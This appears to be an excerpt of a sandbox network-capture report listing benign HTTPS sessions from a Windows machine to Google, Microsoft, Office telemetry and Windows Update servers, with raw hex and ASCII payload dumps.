2024-11-12 03:16:15 UTC	1378	IN	Data Raw: 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 Data Ascii: 216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49723	172.217.18.14	443	2928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:16 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 03:16:16 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 38 31 33 37 33 35 37 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731381373571",null,null,null,
2024-11-12 03:16:16 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=HjzO_sWoWy1mxR2gdL1nD5mWINM44wuVW4NlkG5Pup73F6JvOPTnS4UONkK7NdvqvY6Yb2zErzSYcXh87vxWdIfYc44Ni7U0rn73MGQyqEAVVSPUp_-Z0bV1wzaSQn24HotKTwNHuWPaNNSg2uUWnV2dPUF5jaQJRDWoi1iRnZ7r6759FQ; expires=Wed, 14-May-2025 03:16:16 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 12 Nov 2024 03:16:16 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 12 Nov 2024 03:16:16 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 03:16:16 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-12 03:16:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49725	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:16 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 03:16:16 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=221325 Date: Tue, 12 Nov 2024 03:16:16 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49730	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:17 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 03:16:18 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=221362 Date: Tue, 12 Nov 2024 03:16:17 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-12 03:16:18 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49740	94.245.104.56	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:23 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:23 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 12 Nov 2024 03:16:23 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=6ec734f7cf79a0cade390611c8bcbc1c80600480b76174a7c93df6cd248747e5;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:24 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:24 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:24 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: a1588731-601e-000d-094b-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031624Z-16547b76f7fkcrm9hC1DFWxdag0000000f2g00000000nzwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:24 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-12 03:16:24 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-12 03:16:24 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-12 03:16:24 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-12 03:16:24 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-12 03:16:24 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-12 03:16:24 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-12 03:16:24 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-12 03:16:24 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-12 03:16:24 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49732	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:25 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=t9M19fKsf53L4Fs&MD=xUEBlNV6 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-12 03:16:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: db05de3c-9bc9-4635-956e-d97895bbc8cf MS-RequestId: 7c175687-3a70-4bf8-9454-4c5a43f9841e MS-CV: sc12RTWjlEOy06vo.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 12 Nov 2024 03:16:25 GMT Connection: close Content-Length: 24490
2024-11-12 03:16:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-12 03:16:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 